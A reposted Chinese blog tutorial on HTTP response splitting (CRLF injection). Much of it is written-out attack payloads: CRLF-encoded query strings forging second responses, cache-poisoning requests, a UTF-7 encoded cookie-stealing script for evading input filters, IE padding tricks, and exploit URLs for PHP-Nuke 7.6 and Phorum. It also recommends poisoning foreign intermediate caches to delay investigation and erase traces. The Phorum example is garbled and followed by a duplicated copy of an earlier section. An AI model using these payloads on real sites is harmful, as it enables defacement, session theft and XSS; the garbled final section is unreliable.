HTTP响应头拆分/CRLF注入详解

一:前言

“HTTP响应头拆分漏洞”是一种新型的web×××方案,它重新产生了很多安全漏洞包括:web缓存感染、用户信息涂改、窃取敏感用户页面、跨站脚本漏洞。这项×××方案,包括其衍生的一系列技术产生,是由于web应用程序没有对用户的提交进行严格过滤,导致非法用户可以提交一些恶意字符,更具体来说,是对用户输入的CR 和LF字符没有进行严格的过滤。
“HTTP响应头拆分漏洞”及其相关的×××手段可以在很多的web环境中实现,包括微软的asp、asp.net,IBM WebSphere,BEA WebLogic,Jakarta Tomcat,MacromediaoldFusion/MX,Sun MicrosystemsSunONE;流行的Squid和Apache服务器;流行的微软IE6.0浏览器。我不是在吹牛,很多大的站点都存在这样的漏洞,这让我大吃一惊。
这篇文章将描述×××的概念并且提供一些使用实例分析。

二:介绍

在HTTP响应头拆分×××中具体牵涉到三个对象:
漏洞服务器:即存在漏洞的服务器。
×××工具:比如浏览器,类似IE6.0。
×××者:发动×××的人。
HTTP响应头拆分×××本质是:×××者可以发送一个或几个HTTP指令迫使漏洞服务器产生一个×××者构想好的输出。它可以让服务器误把几条HTTP请求看成一次完成的HTTP请求来解释。第一条请求也许×××者部分控制着一部分,但这并不是危险的;危险的是,×××者完全控制着第二条HTTP请求,即从HTTP状态行一直到HTTP请求的尾部。如果这样可行,×××者就会发送多个请求指令到目标系统:第一条使得服务器完全接受两个HTTP响应,第二条响应通常是在服务器上请求一些非法资源,而服务器将会自动匹配到第二条响应,输出×××者想要请求的资源,从而达到×××者的目的。
通过这个思路,我们可以构造出形形×××的×××,具体来说:
1跨站脚本×××(XSS):这是一个非常普通和老式的漏洞,它可以让用户通过运行了一段javascript或者html代码后,可以截取该用户的cookie和session。但是到现在,通过一些重定向脚本发起一次XSS×××是很困难的,尤其是当用户使用最新补丁的IE浏览器的时候,除非位置头是完全控制的。但是当结合HTTP响应头×××确是可以非常简单实现,即使只是部分控制位置头。
2web缓存中毒(我们称之为web损耗):这是一个新的×××技术,×××者强迫服务器高速缓存中记录了第二次HTTP请求,而服务器中的高速缓存记录的第二次请求是经过×××者精心构造的。这将成功的对目标站点进行损耗,当其他人访问目标站点时,他们仅仅读取了高速缓存里的数据,造成站点被“黑”的假象。当然,除了站点损耗之外,×××者也可以偷取用户的session和cookie。
3 通过对用户的×××:这是第二种方式的一个特殊情况。它对单个用户的欺骗、对服务器单个页面的损耗,和暂时的磨损,也可以偷取到特定用户的session和cookie。
4 劫持具体用户的页面敏感信息:×××者欺骗服务器,并取得敏感用户的权限,并进入其用户的状态,访问到一些秘密信息。
5 浏览器高速缓存中毒:这也是一项最新的×××方式,它这和跨站脚本×××方式有点类似,唯一的差别就是×××者强迫浏览器高速缓存中记录一个长和持续的磨损的网页,直到浏览器的高速缓存已经清洁。
对于这些我将在后面一一作介绍。

三:web高速缓存中毒的实现

由于这是一个新兴的技术,所以这个段落我将对web高速缓存中毒的实现做进一步的分析。
1 毒害反向代理高速缓存:即电子涂写。在这种方式中,×××者将直接面向网站。当然最厉害的手法是磨损该网站的首页,这样所有客户端将都受到影响,这也是最漂亮的手段,但是这样很容易被发现。
2毒害一台中间高速缓存服务器:迂回。这种方式被发现是很困难的,中间缓存服务器是有很多的,而且漏洞服务器不可能占有所有的中间缓存服务器,这些服务器很有可能不是在同一个地方,比如我们×××台湾的站点,我们很有可能会先×××一台位于美国的中间缓存服务器,即使被调查到了也是要很久的,也许我们早就有时间把所有的信息给清除。
3毒害浏览器高速缓存:一针见血。×××者很有可能会瞄准到一个特殊用户,例如从一个很富有的用户那里偷取到证书,这样的×××将会变得很独特而且很难实施。因为,它不同于跨站脚本×××,而且被毒害的页面要始终保持在高速缓存中以等待受害者(即你所瞄准的用户)来装载,有时候受害者从来都不会登陆到那个页面,或者是受害者浏览器禁止了JAVA脚本的执行等等,都会造成无法成功。

四:HTTP响应头漏洞×××基本技术。

HTTP响应头×××把代码嵌入到用户信息中并放在HTTP头部,也发生在把用户信息和代码嵌入到重定向到的URL中,或者把脚本嵌入到cookie值或者name里。在第一条响应中,重定向的URL是HTTP响应头的一部分,第二条响应是确定cookie,cookie中的name/value是响应头中set-cookie的一部分。
由于×××的特殊性,在实现×××前,我们先来了解一下这两个字符的编码:
CR = %0d = \r
LF = %0a = \n
比如,我们考虑以下jsp页面(/isno.jsp),内容如下:
<%
response.sendRedirect("/isno.jsp?lang="+request.getParameter("lang"));
%>
假如使得parmeter lang=ivory,程序将会重定向到/isno.jsp?lang=ivory。通常一个标准的HTTP请求会如下:
HTTP/1.1 302 Moved Temporarily\r\n
Date: Wed, 1 Mar 2005 12:53:28 GMT\r\n
Location: http://192.168.0.1/isno.jsp?lang=ivory\r\n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with\r\n
Content-Type: text/html\r\n
Set-Cookie: JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXjApqwBE!-
1251019693; path=/\r\n
Connection: Close\r\n
<html><head><title>302 Moved Temporarily</title></head>\r\n
<body bgcolor="#FFFFFF">\r\n
<p>This document you requested has moved temporarily.</p>\r\n
<p>It's now at <a
href="
这样我们能清楚的看出lang所赋的值被嵌入在Location响应头中。
好,我们来实行HTTP响应头×××,再将lang赋值,这次并不是ivory,而是给另外一个东西。
/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0a<html>I’m%20isno!</html>
这样的话,HTTP将会如下发送:
HTTP/1.1 302 Moved Temporarily\r\n
Date: Wed, 1 Mar 2005 15:26:41 GMT\r\n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
<html>I’m%20isno!</html>\r\n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with\r\n
Content-Type: text/html\r\n
Set-Cookie: JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9UsS!-
1251019693; path=/\r\n
Connection: Close\r\n
<html><head><title>302 Moved Temporarily</title></head>\r\n
<body bgcolor="#FFFFFF">\r\n
<p>This document you requested has moved temporarily.</p>\r\n
<p>It's now at <a href="http://192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
<html>I’m%20isno!</html>">http://192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
<html>I’m%20isno!</html></a>.</p>\r\n
</body></html>\r\n
不同的地方我用颜色标识出来了,但是这里我还是作一些解释:
这里提交了两个请求,第一个指向的URL是
/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0a<html>I’m%20isno!</html>
第二个指向的URL是
/index.html
这样服务器会给第一个请求匹配到第一个响应:
HTTP/1.1 302 Moved Temporarily\r\n
Date: Wed, 1 Mar 2005 15:26:41 GMT\r\n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
对第二个请求(/index.html)自动匹配到第二个响应:
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
<html>I’m%20isno!</html></a>.</p>\r\n
</body></html>\r\n
这样,×××者就成功的愚弄了服务器。我们可以看出,上面这个例子非常的简单而且无知,但是是最简单的利用方法,当然实际的情况会更复杂,更会出现一些问题,我们将在下面的部分讨论实战中要考虑到的因素。

五:从实际出发—把绊脚石踢开

1 错误处理机制
“错误处理”曾是iis漏洞的一个漏洞点,在iis5.0中,它允许客户端定制一个脚本来处理HTTP错误信息,而不是给出真正的错误页面。举例来说,当用户请求一个资源,而该资源不存在的时候,会出现“资源无法访问(你所找的页面不存在)”(HTTP状态404),而同时IIS5.0允许产生一个脚本代码响应给用户,这个代码可以是静态的HTML,也可以是动态的ASP等等。因此,这里就会产生一个HTTP响应头拆分漏洞,但是只是针对iis5.0。
2 字符过滤器的饶过。
另一个要面对的问题就是,一些应用程序会过滤掉一些用户输入的非法字符。特别是对一些非ASCII字符作严格的过滤。例如ASP.NET1.0/1.1会尝试对数据进行UTF-8编码,如果在UTF-8中不符合的数据将会自动丢失;ASP.NET1.1不允许有’<’字符出现在一些数据的后面。
而我们在构造header头的时候,基本上都不会出现被过滤的情况。关键就是对body请求的构造,因为这个地方会出现一些让字符过滤器过滤的字符。
饶过的方法当然就是对body处进行UTF-7进行编码(RFC 2152 -[1]),这种编码方法可以对任意的unicode字符编码到“A-Z”,“a-z”,“0-9”,“/”,“-”,“+”中,这样可以让过滤器对我们提交的数据无法过滤。具体实现的方法如下:
I 修改第一处:
Content-Type: text/html;charset=utf-7
II 修改第二处:
将<html><body><script>alert('get,cookies:'+document.cookie)</script></body></html>
编码后成为:
+ADw-html+AD4-+ADw-body+AD4-+ADw-script+AD4-alert('get,cookies:'+-document.cookie)+ADw-/script+AD4-+ADw-/body+AD4-+ADw-/html+AD4-
3 使请求的URL长度尽量缩小。

六.对高速缓存中毒的分析,跨站脚本在IE中的利用

要使高速缓存中毒,我们必须要提交Last-Modified的HTTP响应头,并指明一个将来的日期。我用实例来说明一下对高速缓存中毒的×××:
./isno.jsp?lang=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Wed,%2013%20Jan%202006%2012:44:23%20GMT%0d%0aContent-Length:%2046%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><fontcolor=red>I’m%20Isno!</font></html> HTTP/1.1
另外一个更实际的例子,对APACHE/2.0的×××(APACHE很容易实现HTTP响应头拆分×××,作为范例最好不过了):
这次×××将发送三条请求,第一条用来迫使服务器对资源的高速缓存无效,第二条请求将利用HTTP响应头×××,使得Apache自动连接第三条响应和第二条响应。
×××具体如下:
第一次请求:
GET http://192.168.0.1/index.html HTTP/1.1(由于apache不对”/”进行缓存)
Pragma: no-cache
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, /
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,,utf-8
第二次请求:
GET >
HTTP/1.1
Host: 192.168.0.1\r\n
User-Agent: Mozilla/4.7 [en] (WinNT; I)\r\n
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png,
/\r\n
Accept-Encoding: gzip\r\n
Accept-Language: en\r\n
Accept-Charset: iso-8859-1,
,utf-8\r\n
第三次请求:
GET http://192.168.0.1/index.html HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, /
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
另外注意的地方:比如IE EXPLORER6.0(SP1),由于一些机制的影响,我们不能直接的象上面那样输入,要稍微想点办法,由于其缓冲区边界为1024个字节,所以它读取第一条请求使用了1024个字节,所以第二个请求必须要从1024个字节开始为边界,所以我们提交的会是下面这样的:
http://192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
…[填充1024个A]…AAAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Sun,%2023%20Nov%202003%2014:05:11%20GMT%0d%0aContent-Length:%2028%0d%0a%0d%0a<html>Hacked-by-isno!</html>
同样的思路,对于跨站脚本×××的提交会是这样的:
http://192.168.0.1/isno.jsp?lang=%0d%0aConnection:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
…[填充1024个A] …AAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2052%0d%0a%0d%0a<html><script>alert(document.cookie)</script></html>
这里一定要谨慎。

七.通过对用户的×××—理论分析

Squid2.4和ISA/2000允许用户分享与服务器的连接,这样的话,很有可能存在一个HTTP响应头拆分漏洞的隐患,可以提交两次对服务器的请求,如果这两次请求存在一个延迟,这时×××者要断开和服务器的连接,而受害的用户再给出一个对服务器的请求的时候,这样就产生了一个×××。我们可以看出,这样的×××,要求对与服务器断开连接的时间上做很好的控制,特别是当两次请求包的延迟比10毫秒还低的时候(在Squid2.4上证明了这一点)。对于ISA/2000来说,×××方式稍微要简单些,因为两个用户可能分享相同的TCP连接,所以并不需要×××者断开与服务器的连接。

八.劫持用户页敏感信息

这个有点类似于我们所说的中间人×××。这时候×××者充当着两个角色:对用户来说他充当了服务器的角色,对服务器来说他充当了用户的角色,然后象一个审查员一样的工作,这样不仅可以劫持到用户的敏感信息,而且同样可以进行篡改和添加。

九. 实际的安全漏洞两则

以下我会举出一些更具体的例子来加深一下印象。
1 PHP-NUKE 7.6及更低版本HTTP响应拆分漏洞
起因是应用程序没有正确的过滤用户提供的输入。远程×××者可以利用这个漏洞影响或错误的显示Web内容服务,缓存或解释的方式,这可能帮助诱骗客户端用户,导致跨站脚本,缓存破坏或页面劫持等漏洞。
×××手法如下
http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE \
SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
is a spoofed site </title> <body bgcolor=black><font size=10 color=blue> \
2 Phorum HTTP响应拆分漏洞
由于没能正确的验证传送给Location参数的输入,×××者可能向HTTP首部中注入恶意的字符。这可能导致在受影响站点的用户浏览器会话中执行任意HTML和脚本代码,进而展开各种×××,如跨站脚本、破坏Web或浏览器缓存、劫持页面等。
×××手法如下:
[url=http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%]http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%"target="_blank">http://192.168.0.1/isno.jsp?lang=ivory</a>.</p>\r\n</body>\r\n</html>\r\n[/url">http://192.168.0.1/isno.jsp?lang=ivory">http://192.168.0.1/isno.jsp?lang=ivory</a>.</p>\r\n</body>\r\n</html>\r\n
这样我们能清楚的看出lang所赋的值被嵌入在Location响应头中。
好,我们来实行HTTP响应头×××,再将lang赋值,这次并不是ivory,而是给另外一个东西。
/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0a<html>I’m%20isno!</html>
这样的话,HTTP将会如下发送:
HTTP/1.1 302 Moved Temporarily\r\n
Date: Wed, 1 Mar 2005 15:26:41 GMT\r\n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
<html>I’m%20isno!</html>\r\n
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with\r\n
Content-Type: text/html\r\n
Set-Cookie: JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9UsS!-
1251019693; path=/\r\n
Connection: Close\r\n
<html><head><title>302 Moved Temporarily</title></head>\r\n
<body bgcolor="#FFFFFF">\r\n
<p>This document you requested has moved temporarily.</p>\r\n
<p>It's now at <a href="http://192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
<html>I’m%20isno!</html>">http://192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
<html>I’m%20isno!</html></a>.</p>\r\n
</body></html>\r\n
不同的地方我用颜色标识出来了,但是这里我还是作一些解释:
这里提交了两个请求,第一个指向的URL是
/isno.jsp?lang=Allyesno%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2024%0d%0a%0d%0a<html>I’m%20isno!</html>
第二个指向的URL是
/index.html
这样服务器会给第一个请求匹配到第一个响应:
HTTP/1.1 302 Moved Temporarily\r\n
Date: Wed, 1 Mar 2005 15:26:41 GMT\r\n
Location: http://192.168.0.1/isno.jsp?lang=Allyesno\r\n
Content-Length: 0\r\n
对第二个请求(/index.html)自动匹配到第二个响应:
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Content-Length: 24\r\n
<html>I’m%20isno!</html></a>.</p>\r\n
</body></html>\r\n
这样,×××者就成功的愚弄了服务器。我们可以看出,上面这个例子非常的简单而且无知,但是是最简单的利用方法,当然实际的情况会更复杂,更会出现一些问题,我们将在下面的部分讨论实战中要考虑到的因素。

更多的博客转移到个人博客上了,请点击以下链接:
个人博客

转载于:https://blog.51cto.com/leoheng/2169380

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值